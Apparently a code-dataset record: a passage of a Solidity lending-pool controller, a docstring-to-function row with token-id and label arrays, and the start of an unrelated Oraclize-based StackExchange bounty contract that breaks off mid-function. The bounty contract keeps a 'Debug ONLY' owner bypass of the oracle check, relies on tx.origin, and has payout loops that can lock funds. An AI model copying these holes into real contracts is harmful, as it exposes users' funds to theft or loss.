uint oldCloseFactorMantissa = closeFactorMantissa;
closeFactorMantissa = newCloseFactorMantissa;
emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa);
return uint(Error.NO_ERROR);
}
/**
* @notice Sets the collateralFactor for a market
* @dev Admin function to set per-market collateralFactor
* @param mToken The market to set the factor on
* @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18
* @return uint 0=success, otherwise a failure. (See ErrorReporter for details)
*/
function _setCollateralFactor(MToken mToken, uint newCollateralFactorMantissa) external returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK);
}
// Verify market is listed
Market storage market = markets[address(mToken)];
if (!market.isListed) {
return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS);
}
Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa});
// Check collateral factor <= 0.9
Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa});
if (lessThanExp(highLimit, newCollateralFactorExp)) {
return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION);
}
// If collateral factor != 0, fail if price == 0
if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(mToken) == 0) {
return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE);
}
// Set market's collateral factor to new collateral factor, remember old value
uint oldCollateralFactorMantissa = market.collateralFactorMantissa;
market.collateralFactorMantissa = newCollateralFactorMantissa;
// Emit event with asset, old collateral factor, and new collateral factor
emit NewCollateralFactor(mToken, oldCollateralFactorMantissa, newCollateralFactorMantissa);
return uint(Error.NO_ERROR);
}
/**
* @notice Sets liquidationIncentive
* @dev Admin function to set liquidationIncentive
* @param newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18
* @return uint 0=success, otherwise a failure. (See ErrorReporter for details)
*/
function _setLiquidationIncentive(uint newLiquidationIncentiveMantissa) external returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK);
}
require(newLiquidationIncentiveMantissa >= liquidationIncentiveMinMantissa, "liquidation incentive too small");
require(newLiquidationIncentiveMantissa <= liquidationIncentiveMaxMantissa, "liquidation incentive too large");
// Save current value for use in log
uint oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa;
// Set liquidation incentive to new incentive
liquidationIncentiveMantissa = newLiquidationIncentiveMantissa;
// Emit event with old incentive, new incentive
emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa);
return uint(Error.NO_ERROR);
}
/**
* @notice Add the market to the markets mapping and set it as listed
* @dev Admin function to set isListed and add support for the market
* @param mToken The address of the market (token) to list
* @return uint 0=success, otherwise a failure. (See enum Error for details)
*/
function _supportMarket(MToken mToken) external returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SUPPORT_MARKET_OWNER_CHECK);
}
if (isLendingPool) {
require(address(mToken.interestRateModel()) != address(0), "mToken not set interestRateModel");
}
// Check is mToken
require(MomaFactoryInterface(factory).isMToken(address(mToken)), 'not mToken');
if (markets[address(mToken)].isListed) {
return fail(Error.MARKET_ALREADY_LISTED, FailureInfo.SUPPORT_MARKET_EXISTS);
}
require(mToken.isMToken(), 'not mToken contract'); // Sanity check to make sure its really a MToken
// Note that isMomaed is not in active use anymore
// markets[address(mToken)] = Market({isListed: true, isMomaed: false, collateralFactorMantissa: 0});
markets[address(mToken)] = Market({isListed: true, collateralFactorMantissa: 0});
_addMarketInternal(address(mToken));
emit MarketListed(mToken);
return uint(Error.NO_ERROR);
}
function _addMarketInternal(address mToken) internal {
for (uint i = 0; i < allMarkets.length; i ++) {
require(allMarkets[i] != MToken(mToken), "market already added");
}
allMarkets.push(MToken(mToken));
}
/**
* @notice Set the given borrow caps for the given mToken markets. Borrowing that brings total borrows to or above borrow cap will revert.
* @dev Admin or pauseGuardian function to set the borrow caps. A borrow cap of 0 corresponds to unlimited borrowing.
* @param mTokens The addresses of the markets (tokens) to change the borrow caps for
* @param newBorrowCaps The new borrow cap values in underlying to be set. A value of 0 corresponds to unlimited borrowing.
*/
function _setMarketBorrowCaps(MToken[] calldata mTokens, uint[] calldata newBorrowCaps) external {
require(msg.sender == admin || msg.sender == pauseGuardian, "only admin or pauseGuardian can set borrow caps");
uint numMarkets = mTokens.length;
uint numBorrowCaps = newBorrowCaps.length;
require(numMarkets != 0 && numMarkets == numBorrowCaps, "invalid input");
for(uint i = 0; i < numMarkets; i++) {
borrowCaps[address(mTokens[i])] = newBorrowCaps[i];
emit NewBorrowCap(mTokens[i], newBorrowCaps[i]);
}
}
/**
* @notice Admin function to change the Pause Guardian
* @param newPauseGuardian The address of the new Pause Guardian
* @return uint 0=success, otherwise a failure. (See enum Error for details)
*/
function _setPauseGuardian(address newPauseGuardian) external returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PAUSE_GUARDIAN_OWNER_CHECK);
}
// Save current value for inclusion in log
address oldPauseGuardian = pauseGuardian;
// Store pauseGuardian with value newPauseGuardian
pauseGuardian = newPauseGuardian;
// Emit NewPauseGuardian(OldPauseGuardian, NewPauseGuardian)
emit NewPauseGuardian(oldPauseGuardian, pauseGuardian);
return uint(Error.NO_ERROR);
}
function _upgradeLendingPool() external returns (bool) {
require(msg.sender == admin, "only admin can upgrade");
// must update oracle first, it succuss or revert, so no need to check again
_updatePriceOracle();
// all markets must set interestRateModel
for (uint i = 0; i < allMarkets.length; i++) {
MToken mToken = allMarkets[i];
require(address(mToken.interestRateModel()) != address(0), "support market not set interestRateModel");
// require(oracle.getUnderlyingPrice(mToken) != 0, "support market not set price"); // let functions check
}
bool state = MomaFactoryInterface(factory).upgradeLendingPool();
if (state) {
require(updateBorrowBlock() == 0, "update borrow block error");
isLendingPool = true;
}
return state;
}
function _setMintPaused(MToken mToken, bool state) external returns (bool) {
require(markets[address(mToken)].isListed, "cannot pause a market that is not listed");
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state, "only admin can unpause");
mintGuardianPaused[address(mToken)] = state;
emit ActionPaused(mToken, "Mint", state);
return state;
}
function _setBorrowPaused(MToken mToken, bool state) external returns (bool) {
require(markets[address(mToken)].isListed, "cannot pause a market that is not listed");
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state, "only admin can unpause");
borrowGuardianPaused[address(mToken)] = state;
emit ActionPaused(mToken, "Borrow", state);
return state;
}
function _setTransferPaused(bool state) external returns (bool) {
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state, "only admin can unpause");
transferGuardianPaused = state;
emit ActionPaused("Transfer", state);
return state;
}
function _setSeizePaused(bool state) external returns (bool) {
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state, "only admin can unpause");
seizeGuardianPaused = state;
emit ActionPaused("Seize", state);
return state;
}
function _become(MomaPool momaPool) external {
require(msg.sender == momaPool.admin(), "only momaPool admin can change brains");
require(momaPool._acceptImplementation() == 0, "change not authorized");
}
/**
* @notice Checks caller is admin, or this contract is becoming the new implementation
*/
function adminOrInitializing() internal view returns (bool) {
return msg.sender == admin || msg.sender == momaMasterImplementation;
}
/*** Farming ***/
/**
* @notice Update all markets' borrow block for all tokens when pool upgrade to lending pool
* @return uint 0=success, otherwise a failure
*/
function updateBorrowBlock() internal returns (uint) {
uint32 blockNumber = safe32(getBlockNumber(), "block number exceeds 32 bits");
for (uint i = 0; i < allTokens.length; i++) {
address token = allTokens[i];
uint32 nextBlock = blockNumber;
TokenFarmState storage state = farmStates[token];
if (state.startBlock > blockNumber) nextBlock = state.startBlock;
// if (state.endBlock < blockNumber) blockNumber = state.endBlock;
MToken[] memory mTokens = state.tokenMarkets;
for (uint j = 0; j < mTokens.length; j++) {
MToken mToken = mTokens[j];
state.borrowState[address(mToken)].block = nextBlock; // if state.speeds[address(mToken)] > 0 ?
}
}
return uint(Error.NO_ERROR);
}
/**
* @notice Accrue tokens and MOMA to the market by updating the supply index
* @param mToken The market whose supply index to update
*/
function updateFarmSupplyIndex(address mToken) internal {
updateMomaSupplyIndex(mToken);
for (uint i = 0; i < allTokens.length; i++) {
address token = allTokens[i];
updateTokenSupplyIndex(token, mToken);
}
}
/**
* @notice Accrue tokens and MOMA to the market by updating the supply index
* @param mToken The market whose supply index to update
* @param marketBorrowIndex The market borrow index
*/
function updateFarmBorrowIndex(address mToken, uint marketBorrowIndex) internal {
updateMomaBorrowIndex(mToken, marketBorrowIndex);
for (uint i = 0; i < allTokens.length; i++) {
address token = allTokens[i];
updateTokenBorrowIndex(token, mToken, marketBorrowIndex);
}
}
/**
* @notice Calculate tokens and MOMA accrued by a supplier
* @param mToken The market in which the supplier is interacting
* @param supplier The address of the supplier to distribute tokens and MOMA to
*/
function distributeSupplierFarm(address mToken, address supplier) internal {
distributeSupplierMoma(mToken, supplier);
for (uint i = 0; i < allTokens.length; i++) {
address token = allTokens[i];
distributeSupplierToken(token, mToken, supplier);
}
}
/**
* @notice Calculate tokens and MOMA accrued by a borrower
* @dev Borrowers will not begin to accrue until after the first interaction with the protocol.
* @param mToken The market in which the borrower is interacting
* @param borrower The address of the borrower to distribute tokens and MOMA to
* @param marketBorrowIndex The market borrow index
*/
function distributeBorrowerFarm(address mToken, address borrower, uint marketBorrowIndex) internal {
distributeBorrowerMoma(mToken, borrower, marketBorrowIndex);
for (uint i = 0; i < allTokens.length; i++) {
address token = allTokens[i];
distributeBorrowerToken(token, mToken, borrower, marketBorrowIndex);
}
}
/*** Tokens Farming ***/
/**
* @notice Accrue token to the market by updating the supply index
* @param token The token whose supply index to update
* @param mToken The market whose supply index to update
*/
function updateTokenSupplyIndex(address token, address mToken) internal {
delegateToFarming(abi.encodeWithSignature("updateTokenSupplyIndex(address,address)", token, mToken));
}
/**
* @notice Accrue token to the market by updating the borrow index
* @param token The token whose borrow index to update
* @param mToken The market whose borrow index to update
* @param marketBorrowIndex The market borrow index
*/
function updateTokenBorrowIndex(address token, address mToken, uint marketBorrowIndex) internal {
delegateToFarming(abi.encodeWithSignature("updateTokenBorrowIndex(address,address,uint256)", token, mToken, marketBorrowIndex));
}
/**
* @notice Calculate token accrued by a supplier
* @param token The token in which the supplier is interacting
* @param mToken The market in which the supplier is interacting
* @param supplier The address of the supplier to distribute token to
*/
function distributeSupplierToken(address token, address mToken, address supplier) internal {
delegateToFarming(abi.encodeWithSignature("distributeSupplierToken(address,address,address)", token, mToken, supplier));
}
/**
* @notice Calculate token accrued by a borrower
* @dev Borrowers will not begin to accrue until after the first interaction with the protocol.
* @param mToken The market in which the borrower is interacting
* @param borrower The address of the borrower to distribute token to
* @param marketBorrowIndex The market borrow index
*/
function distributeBorrowerToken(address token, address mToken, address borrower, uint marketBorrowIndex) internal {
delegateToFarming(abi.encodeWithSignature("distributeBorrowerToken(address,address,address,uint256)", token, mToken, borrower, marketBorrowIndex));
}
/*** Reward Public Functions ***/
/**
* @notice Distribute all the token accrued to user in specified markets of specified token and claim
* @param token The token to distribute
* @param mTokens The list of markets to distribute token in
* @param suppliers Whether or not to distribute token earned by supplying
* @param borrowers Whether or not to distribute token earned by borrowing
*/
function dclaim(address token, MToken[] memory mTokens, bool suppliers, bool borrowers) public {
delegateToFarming(abi.encodeWithSignature("dclaim(address,address[],bool,bool)", token, mTokens, suppliers, borrowers));
}
/**
* @notice Distribute all the token accrued to user in all markets of specified token and claim
* @param token The token to distribute
* @param suppliers Whether or not to distribute token earned by supplying
* @param borrowers Whether or not to distribute token earned by borrowing
*/
function dclaim(address token, bool suppliers, bool borrowers) external {
delegateToFarming(abi.encodeWithSignature("dclaim(address,bool,bool)", token, suppliers, borrowers));
}
/**
* @notice Distribute all the token accrued to user in all markets of specified tokens and claim
* @param tokens The list of tokens to distribute and claim
* @param suppliers Whether or not to distribute token earned by supplying
* @param borrowers Whether or not to distribute token earned by borrowing
*/
function dclaim(address[] memory tokens, bool suppliers, bool borrowers) public {
delegateToFarming(abi.encodeWithSignature("dclaim(address[],bool,bool)", tokens, suppliers, borrowers));
}
/**
* @notice Distribute all the token accrued to user in all markets of all tokens and claim
* @param suppliers Whether or not to distribute token earned by supplying
* @param borrowers Whether or not to distribute token earned by borrowing
*/
function dclaim(bool suppliers, bool borrowers) external {
delegateToFarming(abi.encodeWithSignature("dclaim(bool,bool)", suppliers, borrowers));
}
/**
* @notice Claim all the token have been distributed to user of specified token
* @param token The token to claim
*/
function claim(address token) external {
delegateToFarming(abi.encodeWithSignature("claim(address)", token));
}
/**
* @notice Claim all the token have been distributed to user of all tokens
*/
function claim() external {
delegateToFarming(abi.encodeWithSignature("claim()"));
}
/**
* @notice Calculate undistributed token accrued by the user in specified market of specified token
* @param user The address to calculate token for
* @param token The token to calculate
* @param mToken The market to calculate token
* @param suppliers Whether or not to calculate token earned by supplying
* @param borrowers Whether or not to calculate token earned by borrowing
* @return The amount of undistributed token of this user
*/
function undistributed(address user, address token, address mToken, bool suppliers, bool borrowers) public view returns (uint) {
bytes memory data = delegateToFarmingView(abi.encodeWithSignature("undistributed(address,address,address,bool,bool)", user, token, mToken, suppliers, borrowers));
return abi.decode(data, (uint));
}
/**
* @notice Calculate undistributed tokens accrued by the user in all markets of specified token
* @param user The address to calculate token for
* @param token The token to calculate
* @param suppliers Whether or not to calculate token earned by supplying
* @param borrowers Whether or not to calculate token earned by borrowing
* @return The amount of undistributed token of this user in each market
*/
function undistributed(address user, address token, bool suppliers, bool borrowers) public view returns (uint[] memory) {
bytes memory data = delegateToFarmingView(abi.encodeWithSignature("undistributed(address,address,bool,bool)", user, token, suppliers, borrowers));
return abi.decode(data, (uint[]));
}
/*** Token Distribution Admin ***/
/**
* @notice Transfer token to the recipient
* @dev Note: If there is not enough token, we do not perform the transfer all.
* @param token The token to transfer
* @param recipient The address of the recipient to transfer token to
* @param amount The amount of token to (possibly) transfer
*/
function _grantToken(address token, address recipient, uint amount) external {
delegateToFarming(abi.encodeWithSignature("_grantToken(address,address,uint256)", token, recipient, amount));
}
/**
* @notice Admin function to add/update erc20 token farming
* @dev Can only add token or restart this token farm again after endBlock
* @param token Token to add/update for farming
* @param start Block heiht to start to farm this token
* @param end Block heiht to stop farming
* @return uint 0=success, otherwise a failure
*/
function _setTokenFarm(EIP20Interface token, uint start, uint end) external returns (uint) {
bytes memory data = delegateToFarming(abi.encodeWithSignature("_setTokenFarm(address,uint256,uint256)", token, start, end));
return abi.decode(data, (uint));
}
/**
* @notice Set token speed for multi markets
* @dev Note that token speed could be set to 0 to halt liquidity rewards for a market
* @param token The token to update speed
* @param mTokens The markets whose token speed to update
* @param newSpeeds New token speeds for markets
*/
function _setTokensSpeed(address token, MToken[] memory mTokens, uint[] memory newSpeeds) public {
delegateToFarming(abi.encodeWithSignature("_setTokensSpeed(address,address[],uint256[])", token, mTokens, newSpeeds));
}
/*** MOMA Farming ***/
/**
* @notice Accrue MOMA to the market by updating the supply index
* @param mToken The market whose supply index to update
*/
function updateMomaSupplyIndex(address mToken) internal {
IMomaFarming(currentMomaFarming()).updateMarketSupplyState(mToken);
}
/**
* @notice Accrue MOMA to the market by updating the borrow index
* @param mToken The market whose borrow index to update
* @param marketBorrowIndex The market borrow index
*/
function updateMomaBorrowIndex(address mToken, uint marketBorrowIndex) internal {
IMomaFarming(currentMomaFarming()).updateMarketBorrowState(mToken, marketBorrowIndex);
}
/**
* @notice Calculate MOMA accrued by a supplier
* @param mToken The market in which the supplier is interacting
* @param supplier The address of the supplier to distribute MOMA to
*/
function distributeSupplierMoma(address mToken, address supplier) internal {
IMomaFarming(currentMomaFarming()).distributeSupplierMoma(mToken, supplier);
}
/**
* @notice Calculate MOMA accrued by a borrower
* @dev Borrowers will not begin to accrue until after the first interaction with the protocol.
* @param mToken The market in which the borrower is interacting
* @param borrower The address of the borrower to distribute MOMA to
* @param marketBorrowIndex The market borrow index
*/
function distributeBorrowerMoma(address mToken, address borrower, uint marketBorrowIndex) internal {
IMomaFarming(currentMomaFarming()).distributeBorrowerMoma(mToken, borrower, marketBorrowIndex);
}
/*** View functions ***/
/**
* @notice Return all of the support tokens
* @dev The automatic getter may be used to access an individual token.
* @return The list of market addresses
*/
function getAllTokens() external view returns (address[] memory) {
return allTokens;
}
/**
* @notice Weather a token is farming
* @param token The token address to ask for
* @param market Which market
* @return Wether this market farm the token currently
*/
function isFarming(address token, address market) external view returns (bool) {
uint blockNumber = getBlockNumber();
TokenFarmState storage state = farmStates[token];
return state.speeds[market] > 0 && blockNumber > uint(state.startBlock) && blockNumber <= uint(state.endBlock);
}
/**
* @notice Get the market speed for a token
* @param token The token address to ask for
* @param market Which market
* @return The market farm speed of this token currently
*/
function getTokenMarketSpeed(address token, address market) external view returns (uint) {
return farmStates[token].speeds[market];
}
/**
* @notice Get the accrued amount of this token farming for a user
* @param token The token address to ask for
* @param user The user address to ask for
* @return The accrued amount of this token farming for a user
*/
function getTokenUserAccrued(address token, address user) external view returns (uint) {
return farmStates[token].accrued[user];
}
/**
* @notice Weather a market is this token market
* @param token The token address to ask for
* @param market The market address to ask for
* @return true of false
*/
function isTokenMarket(address token, address market) external view returns (bool) {
return farmStates[token].isTokenMarket[market];
}
/**
* @notice Return all the farming support markets of a token
* @param token The token address to ask for
* @return The list of market addresses
*/
function getTokenMarkets(address token) external view returns (MToken[] memory) {
return farmStates[token].tokenMarkets;
}
/**
* @notice Return all of the markets
* @dev The automatic getter may be used to access an individual market.
* @return The list of market addresses
*/
function getAllMarkets() external view returns (MToken[] memory) {
return allMarkets;
}
function getBlockNumber() public view returns (uint) {
return block.number;
}
/*** Delegate ***/
/**
* @notice Get current moma farming contract
* @return The contract address
*/
function currentMomaFarming() public view returns (address) {
return MomaFactoryInterface(factory).momaFarming();
}
/**
* @notice Get current farming contract
* @return The contract address
*/
function currentFarmingDelegate() public view returns (address) {
return MomaFactoryInterface(factory).farmingDelegate();
}
/**
* @notice Internal method to delegate execution to farming contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToFarming(bytes memory data) internal returns (bytes memory) {
address callee = currentFarmingDelegate();
(bool success, bytes memory returnData) = callee.delegatecall(data);
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return returnData;
}
/**
* @notice Public method to delegate view execution to farming contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToFarmingSelf(bytes memory data) public returns (bytes memory) {
require(msg.sender == address(this), "can only called by self");
return delegateToFarming(data);
}
/**
* @notice Internal method to delegate view execution to farming contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop.
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToFarmingView(bytes memory data) internal view returns (bytes memory) {
(bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToFarmingSelf(bytes)", data));
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize)
}
}
return abi.decode(returnData, (bytes));
}
}
interface IMomaFarming {
function updateMarketSupplyState(address mToken) external;
function updateMarketBorrowState(address mToken, uint marketBorrowIndex) external;
function distributeSupplierMoma(address mToken, address supplier) external;
function distributeBorrowerMoma(address mToken, address borrower, uint marketBorrowIndex) external;
function upgradeLendingPool(address pool) external;
function isMomaFarming() external view returns (bool);
}
| * @notice Calculate tokens and MOMA accrued by a supplier @param mToken The market in which the supplier is interacting @param supplier The address of the supplier to distribute tokens and MOMA to/ | function distributeSupplierFarm(address mToken, address supplier) internal {
distributeSupplierMoma(mToken, supplier);
for (uint i = 0; i < allTokens.length; i++) {
address token = allTokens[i];
distributeSupplierToken(token, mToken, supplier);
}
}
| 12,663,223 | [
1,
8695,
2430,
471,
490,
1872,
37,
4078,
86,
5957,
635,
279,
17402,
225,
312,
1345,
1021,
13667,
316,
1492,
326,
17402,
353,
16592,
310,
225,
17402,
1021,
1758,
434,
326,
17402,
358,
25722,
2430,
471,
490,
1872,
37,
358,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
25722,
13254,
42,
4610,
12,
2867,
312,
1345,
16,
1758,
17402,
13,
2713,
288,
203,
3639,
25722,
13254,
49,
362,
69,
12,
81,
1345,
16,
17402,
1769,
203,
3639,
364,
261,
11890,
277,
273,
374,
31,
277,
411,
777,
5157,
18,
2469,
31,
277,
27245,
288,
203,
5411,
1758,
1147,
273,
777,
5157,
63,
77,
15533,
203,
5411,
25722,
13254,
1345,
12,
2316,
16,
312,
1345,
16,
17402,
1769,
203,
3639,
289,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
import "usingOraclize.sol"; // Debug ONLY name
contract StackExchangeBountyAddress {
address main;
uint questionID;
string site;
uint i;
function StackExchangeBountyAddress(uint _questionID, string _site, uint _i) {
main = msg.sender;
questionID = _questionID;
site = _site;
i = _i;
}
function() {
if (msg.value == 0 || questionID == 0 || bytes(site).length == 0 || main == 0)
throw;
StackExchangeBounty c = StackExchangeBounty(main);
c.increaseBounty.value(msg.value)(i);
}
}
contract StackExchangeBounty is usingOraclize {
// only for debug purpose
address owner;
uint numQuestions;
uint public contractBalance;
enum QueryType {
newQuestion,
isAnswerAccepted,
getWinnerID,
getWinnerAddress
}
struct Question {
address contractAddress;
address[] sponsors;
mapping (address => uint) sponsorsBalance;
string site;
uint questionID;
address winnerAddress;
uint winnerID;
uint acceptedAnswerID;
uint updateDelay;
uint expiryDate;
uint ownedFee;
mapping (bytes32 => QueryType) queryType;
}
Question[] public questions;
struct QueryInfo {
string site;
uint questionID;
uint iterator;
}
mapping(bytes32 => QueryInfo) queryInfo;
event QuestionAdded (
address questionAddr
);
event BountyIncreased();
event BountyPaid();
uint DEF_UPDATE_FREQ = 86400;
uint DEF_EXPIRY_DATE = now + 30 days;
function StackExchangeBounty() {
// **************** SET NETWORK *************************
//oraclize_setNetwork(networkID_testnet);
// **************** SET NETWORK *************************
// Debug ONLY
OAR = OraclizeAddrResolverI();
owner = msg.sender;
}
function increaseBounty(uint _i) {
if (msg.value == 0 || questions[_i].acceptedAnswerID != 0) throw;
address sponsorAddr = msg.sender;
if (sponsorAddr == questions[_i].contractAddress)
sponsorAddr = tx.origin;
if (questions[_i].sponsorsBalance[sponsorAddr] == 0)
questions[_i].sponsors.push(sponsorAddr);
questions[_i].sponsorsBalance[sponsorAddr] += msg.value;
BountyIncreased();
}
function getSponsors(uint _i) constant returns (address[] sponsorList){
return questions[_i].sponsors;
}
function getSponsorBalance(uint _i, address _sponsorAddr) constant returns (uint sponsorBalance){
return questions[_i].sponsorsBalance[_sponsorAddr];
}
function getAddressOfQuestion(uint _questionID, string _site) constant returns(address questionAddr){
for (uint i = 0; i < questions.length; i++) {
if(questions[i].questionID ==_questionID && sha3(questions[i].site)==sha3(_site)){
return questions[i].contractAddress;
}
}
return address(0x0);
}
function handleQuestion(uint _questionID, string _site) {
if (_questionID == 0 || bytes(_site).length == 0) throw;
for (uint i = 0; i < questions.length; i++) {
if (questions[i].questionID == _questionID &&
sha3(questions[i].site) == sha3(_site)
) break;
}
if (i == questions.length) {
questions.length++;
numQuestions = questions.length;
increaseBounty(i);
queryOraclize(
0,
_questionID,
_site,
QueryType.newQuestion,
i
);
}
else {
increaseBounty(i);
}
}
function __callback(bytes32 queryID, string result) {
if (msg.sender != oraclize_cbAddress()
&& msg.sender != owner) throw; // Debug ONLY
uint parsedResult = parseInt(result);
string site = queryInfo[queryID].site;
uint questionID = queryInfo[queryID].questionID;
uint i = queryInfo[queryID].iterator;
if (bytes(site).length == 0 && questionID == 0) throw; // bad response
if (questions[i].queryType[queryID] == QueryType.newQuestion) {
if (bytes(result).length == 0) {
//Question doesn't exist or it was deleted/moved
fullfillContract(questionID, site, i);
}
else if (parsedResult > 0) {
questions[i].site = site;
questions[i].questionID = questionID;
questions[i].updateDelay = DEF_UPDATE_FREQ;
questions[i].expiryDate = DEF_EXPIRY_DATE;
questions[i].contractAddress =
new StackExchangeBountyAddress(questionID, site, i);
QuestionAdded(questions[i].contractAddress);
queryOraclize(
0,
questionID,
site,
QueryType.isAnswerAccepted,
i
);
}
}
else if (questions[i].queryType[queryID] == QueryType.isAnswerAccepted) {
if (bytes(result).length != 0 && parsedResult > 0 ) {
questions[i].acceptedAnswerID = parsedResult;
fullfillContract(questionID, site, i);
}
else {
queryOraclize(
questions[i].updateDelay,
questionID,
site,
QueryType.isAnswerAccepted,
i
);
}
}
else if (questions[i].queryType[queryID] == QueryType.getWinnerID) {
if (bytes(result).length != 0 && parsedResult > 0 ) {
questions[i].winnerID = parsedResult;
fullfillContract(questionID, site, i);
}
else {
queryOraclize(
questions[i].updateDelay,
questionID,
site,
QueryType.getWinnerID,
i
);
}
}
else {
if (bytes(result).length > 0 && bytes(result).length == 42) {
questions[i].winnerAddress = parseAddr(result);
fullfillContract(questionID, site, i);
}
else {
queryOraclize(
questions[i].updateDelay,
questionID,
site,
QueryType.isAnswerAccepted,
i
);
}
}
delete questions[i].queryType[queryID];
delete queryInfo[queryID];
}
function fullfillContract(uint _questionID, string _site, uint i) internal {
uint numSponsors;
uint paidFee;
uint sponsorBalance;
uint totalBounty = 0;
if (questions[i].acceptedAnswerID != 0) {
if (questions[i].winnerID == 0) {
queryOraclize(
0,
_questionID,
_site,
QueryType.getWinnerID,
i
);
}
else if (questions[i].winnerAddress == 0) {
queryOraclize(
0,
_questionID,
_site,
QueryType.getWinnerAddress,
i
);
}
else {
numSponsors = questions[i].sponsors.length;
paidFee = questions[i].ownedFee / numSponsors;
for (uint j = 0; j < numSponsors; j++) {
questions[i].sponsorsBalance[
questions[i].sponsors[j]
] -= paidFee;
totalBounty +=
questions[i].sponsorsBalance[
questions[i].sponsors[j]
];
}
questions[i].expiryDate = now;
if (!questions[i].winnerAddress.send(totalBounty)) {
throw;
}
BountyPaid();
}
}
else {
numSponsors = questions[i].sponsors.length;
paidFee = questions[i].ownedFee / numSponsors;
for (uint k = 0; k < numSponsors; k++) {
sponsorBalance =
questions[i].sponsorsBalance[
questions[i].sponsors[k]
];
sponsorBalance -= paidFee;
if (!questions[i].sponsors[k].send(sponsorBalance)) {
throw;
}
}
}
}
function queryOraclize(
uint _updateDelay,
uint _questionID,
string _site,
QueryType _queryType,
uint _i
) internal
{
contractBalance = this.balance;
string memory URL;
bytes32 queryID;
if (_queryType == QueryType.newQuestion) {
